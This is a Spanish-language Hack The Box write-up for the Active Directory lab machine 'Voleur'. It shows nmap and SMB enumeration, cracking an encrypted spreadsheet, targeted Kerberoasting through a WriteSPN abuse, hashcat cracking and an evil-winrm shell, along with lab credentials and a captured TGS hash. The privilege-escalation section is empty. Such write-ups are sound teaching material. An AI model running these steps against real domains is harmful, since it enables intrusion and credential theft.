Máquina Voleur - Hack The Box

🌐 Active Directory

📋 Información General

  • Nombre de la máquina: Voleur
  • Dirección IP: 10.10.11.76
  • Dificultad: 🟡 Media
  • Sistema Operativo: Windows
  • Puntos: 30
  • Fecha de publicación: 05/07/2025

© 2025 Hack The Box

🔍 Enumeración

Escaneo con NMAP

Para empezar, realizamos un escaneo utilizando NMAP.

$ sudo nmap -sS -sV -sC -p- -Pn -n --min-rate 5000 -v 10.10.11.76 -oN scan

Nmap scan report for 10.10.11.76
Host is up (1.0s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-11 21:51:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
54377/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
54378/tcp open  msrpc         Microsoft Windows RPC
54390/tcp open  msrpc         Microsoft Windows RPC
54403/tcp open  msrpc         Microsoft Windows RPC
62083/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 7h59m59s
| smb2-time: 
|   date: 2025-11-11T21:52:35
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Como se puede observar en la respuesta de NMAP, nos encontramos frente a un entorno de Active Directory.

Lo recomendable antes de realizar cualquier otra acción es sincronizar nuestro reloj con el de la máquina, con el fin de evitar posibles fallos, especialmente con Kerberos.

$ sudo rdate -n 10.10.11.76
Tue Nov 11 23:06:26 CET 2025

Al analizar con más detalle la respuesta de NMAP, podemos observar que, gracias al servicio ldap en el puerto 389, somos capaces de enumerar el dominio voleur.htb. Sin embargo, también resulta interesante obtener el hostname.

$ nxc smb 10.10.11.76
SMB   10.10.11.76   445   DC   [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)

Como podemos observar, el hostname de esta máquina es dc.voleur.htb. Con esta información, podemos añadir tanto el hostname como el dominio al archivo /etc/hosts, lo que permitirá que las herramientas que utilizaremos más adelante resuelvan correctamente la dirección IP.

$ echo "10.10.11.76 dc.voleur.htb voleur.htb" >> /etc/hosts

Análisis de servicios


Una vez que hemos obtenido la información más básica del Active Directory, es conveniente comenzar una enumeración más profunda de los diferentes servicios que se encuentran expuestos.

Es importante mencionar que para esta máquina se nos han proporcionado las siguientes credenciales: ryan.naylor : HollowOct31Nyt.

Además, si observamos la respuesta anterior de netexec smb, notamos que la autenticación NTLM está deshabilitada. Por lo tanto, tendremos que utilizar Kerberos de forma constante para autenticarnos.

En estos casos, es muy recomendable crear un archivo de configuración para Kerberos, ya que herramientas como smbmap, smbclient, entre otras, funcionan de manera mucho más estable y eficiente cuando este archivo está presente.

$ nxc smb 10.10.11.76 --generate-krb5-file /etc/krb5.conf

SMB   10.10.11.76   445   DC   [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB   10.10.11.76   445   DC   [+] krb5 conf saved to: file
SMB   10.10.11.76   445   DC   [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf

Ahora sí, podemos comenzar con la enumeración del servicio smb.

$ nxc smb dc.voleur.htb -u ryan.naylor -p "HollowOct31Nyt" -d voleur.htb -k

SMB   dc.voleur.htb   445   dc   [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB   dc.voleur.htb   445   dc   [+] voleur.htb\ryan.naylor:HollowOct31Nyt
$ nxc smb dc.voleur.htb -u ryan.naylor -p "HollowOct31Nyt" -k -d voleur.htb  --shares

SMB   dc.voleur.htb   445   dc.voleur.htb   [*]  x64 (name:dc.voleur.htb) (domain:voleur.htb) (signing:True) (SMBv1:False)
SMB   dc.voleur.htb   445   dc.voleur.htb   [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB   dc.voleur.htb   445   dc.voleur.htb   [+] Enumerated shares
SMB   dc.voleur.htb   445   dc.voleur.htb   Share           Permissions     Remark
SMB   dc.voleur.htb   445   dc.voleur.htb   -----           -----------     ------
SMB   dc.voleur.htb   445   dc.voleur.htb   ADMIN$                          Remote Admin
SMB   dc.voleur.htb   445   dc.voleur.htb   C$                              Default share
SMB   dc.voleur.htb   445   dc.voleur.htb   Finance                         
SMB   dc.voleur.htb   445   dc.voleur.htb   HR                              
SMB   dc.voleur.htb   445   dc.voleur.htb   IPC$            READ            Remote IPC
SMB   dc.voleur.htb   445   dc.voleur.htb   IT              READ            
SMB   dc.voleur.htb   445   dc.voleur.htb   NETLOGON        READ            Logon server share 
SMB   dc.voleur.htb   445   dc.voleur.htb   SYSVOL          READ
$ nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -d voleur.htb -k --spider 'IT' --regex .

SMB   dc.voleur.htb   445   dc   [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB   dc.voleur.htb   445   dc   [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB   dc.voleur.htb   445   dc   [*] Spidering .
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/. [dir]
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/.. [dir]
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/First-Line Support [dir]
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/First-Line Support/. [dir]
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/First-Line Support/.. [dir]
SMB   dc.voleur.htb   445   dc   //dc.voleur.htb/IT/First-Line Support/Access_Review.xlsx [lastm:'2025-05-30 00:23' size:16896]

Como podemos ver, hay un archivo llamado Access_Review.xlsx, así que procederemos a leerlo.

Dado que NTLM está deshabilitado, utilizaremos las herramientas de impacket, ya que funcionan muy bien con Kerberos.

Lo primero que debemos hacer es obtener un TGT para poder autenticarnos:

$ impacket-getTGT voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip dc.voleur.htb

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in ryan.naylor.ccache

A continuación, utilizamos ese ticket para autenticarnos en el servicio smb y descargar el archivo:

$ KRB5CCNAME=ryan.naylor.ccache impacket-smbclient voleur.htb/ryan.naylor:'HollowOct31Nyt'@dc.voleur.htb -k

> get Access_Review.xlsx

Si comprobamos el tipo de archivo, podemos ver que se encuentra encriptado:

$ file Access_Review.xlsx

Access_Review.xlsx: CDFV2 Encrypted

Procedemos a descifrar la contraseña:

$ office2john Access_Review.xlsx
$ john --wordlist=/usr/share/wordlists/rockyou.txt Access_Review.john

Con esto obtenemos que la contraseña es football1. Al abrir el archivo, encontramos varias credenciales:

  • svc_iis : N5pXyW1VqM7CZ8
  • svc_ldap : M1XyC9pW7qT5Vn
  • todd.wolfe : NightT1meP1dg3on14 (usuario eliminado)

Podemos verificar estas contraseñas utilizando netexec para comprobar si son válidas.

$ nxc smb dc.voleur.htb -u svc_iis -p 'N5pXyW1VqM7CZ8' -k -d voleur.htb

SMB   dc.voleur.htb   445   dc   [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB   dc.voleur.htb   445   dc   [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8
$ nxc smb dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k -d voleur.htb

SMB   dc.voleur.htb   445   dc   [*]  x64 (name:dc) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB   dc.voleur.htb   445   dc   [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn

Como podemos ver, ambas contraseñas son correctas.

💻 Acceso Inicial (User)

Explotación para el acceso


Ahora que ya hemos obtenido bastante información y contamos con un par de credenciales válidas, podemos comenzar a utilizar BloodHound para analizar cómo se relaciona toda la información recopilada y determinar los siguientes pasos a seguir con la máquina.

$ ./bloodhound.py -c all --zip -d voleur.htb -u 'ryan.naylor@voleur.htb' -p 'HollowOct31Nyt' -ns 10.10.11.76
$ sudo neo4j console &>/dev/null & disown
$ bloodhound &>/dev/null & disown

Al analizar el alcance que tenemos con los usuarios disponibles, obtenemos lo siguiente:

Con el usuario svc_ldap tenemos permiso para realizar un WriteSPN, lo que significa que podemos llevar a cabo un ataque de tipo Kerberoasting.

Kerberoasting

Lo primero que debemos hacer es modificar el SPN del usuario svc_winrm:

$ bloodyAD -k -d "voleur.htb" --host "dc.voleur.htb" -u "svc_ldap" -p "M1XyC9pW7qT5Vn" set object "svc_winrm" servicePrincipalName -v 'http/anything'

[+] svc_winrm's servicePrincipalName has been updated

A continuación, volveremos a utilizar las herramientas de impacket, primero para obtener un TGT y luego para solicitar un TGS.

TGT - svc_ldap

$ impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip dc.voleur.htb

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in svc_ldap.ccache

TGS - svc_winrm

$ KRB5CCNAME=svc_ldap.ccache impacket-GetUserSPNs voleur.htb/svc_ldap:"M1XyC9pW7qT5Vn" -k -dc-host dc.voleur.htb -request

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName  Name       MemberOf                                                PasswordLastSet             LastLogon                   Delegation 
--------------------  ---------  ------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/Sixe             svc_winrm  CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb  2025-01-31 10:10:12.398769  2025-01-29 16:07:32.711487             

$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$07e1b17f67ea54994f64025ff8148186$505e24bf9c9de2edc91363b372a6c034b5d92b05c83620e8096caedfb4364a6c3895965ec04ff3a8793a9c611385e34863673e37614c999edc5307e371a14f51dca9e58148a722ba8ca229ebbfd01bad2e797e44546ddc661784cf2438e6fcc5dcbb03d8196ba1dfe0a43bd0c6941257978c1c31795d7275377dc570a71aa0bc74f2bfc907505f3a80b2101c13af59176ddb92c9024537865aa92bcafdf1d7ca68b66a807ff3e48926481adce6f89d78a3cf2ca03db348b0aacd908b31e426df553e69af409b717776b66f4fd37346091807bebbb9b08c95026d1d27ac80959de5aa38ed3a6564cc182f101aba025e54347964f70cdbe8b3adcb5afb9541d22feb7c367ea3722fe6c674cbbc442d8e51477c092ffaba222ad6b275aecb18e6c14d2531fb669b7d9f048818528b258300fef6e61c2d71c89e70e2514d423369ed79a61e75fea01f59eab5da2bd04b98555c372d9d69d596544b77ebe0e576d70e4400f6f1f2a848b3f1ab86c9db23197cbbffe5d918423d8c0e9939413b9f8531e12d9ecb146425d9773f974314e4e8434465ec9f73abaedabe9374237a3045f1a4a8e49c3708620292f380a627dbbaef8658de3a368aac7f627871c10063caf4f7893398a3cd061f8023ce2d34f72b6b60e1cbc5d1a84dede7d5135e7ed204a7996c7d7223ca1d7d190f849cc915b63052471f3e279ef8f162edabae9ab385f4dfd910d19affd09fbb76f039b8cb4747924974abd2497b4a243fbb19a788e1950ad2ef99ea6342a797a6c637ac29110285ef2644148bfd3aa90c2928f20929627bf15d3d51741e2d9133f4ffaecca4a299f52f8bbae4a40e98a0453bfa8236d02663c320fdc7990640bdc05ac4b3f1ca6b1f35a98d3d1ab7ba9a2443739d1195f7f525c02d7257147555ae86b67e6a1e434d850256b308ae20b850102de184fa586609730d3081d4ce25f806d90a28c997427f364dd1ebeaba6cb47f84ea89ff0b587b4bc7f41d078b329cd0758bfd9c15af40f36d03ea9e742983d8f2438ca3132fd5b5a859931b3d1cc9684fdade41b50f493df074e1a4eb7244d33bf1fa2725e4e86844ab2a24a683aa6befcb73bf18aa1faaa9aa0b3ef5d82f81771fe999c1efaaf3d4a435a7193ca06c6293b4167aa6d3dd33a4dab22ccb930fc57332eac13665fd6d61e59f8764cf8bfb3094459c3fe9072d22781c4db9fab33e743fe06eab4f54459c5b57723e0308c44380a4edd6d75b1f510eea5334b7752044d9002aaf9910dea42e10ed556adf38665187901c5cbf1067a039fb1de2eb43836f315b5a8bb8aa8d601bb133d13049f38217b74bdc0a183f5314e915ac4394cb5194971d2b822369050c19787827423893a9e3e1dd8dc95bee82866940d7baa084b1a9e5a9af8cd509ad9f32734203f93fe99e4ef3f6678eb322583facb3b4b3658c749c7f6adfd13499e31c6a10db2d2a940dad58

Hemos obtenido el TGS del usuario svc_winrm, así que procederemos a intentar crackearlo:

$ hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt

Hemos tenido suerte, ya que logramos obtener la siguiente credencial: svc_winrm : AFireInsidedeOzarctica980219afi.

Dado que esta cuenta pertenece al grupo Windows Remote Management, podemos utilizar evil-winrm para obtener una consola autenticada con el usuario svc_winrm.

$ impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -k

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in svc_winrm.ccache

$ KRB5CCNAME=svc_winrm.ccache evil-winrm -i dc.voleur.htb -r voleur.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>

Ahora podemos acceder y obtener la flag user.txt.

🔝 Escalada de Privilegios


Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.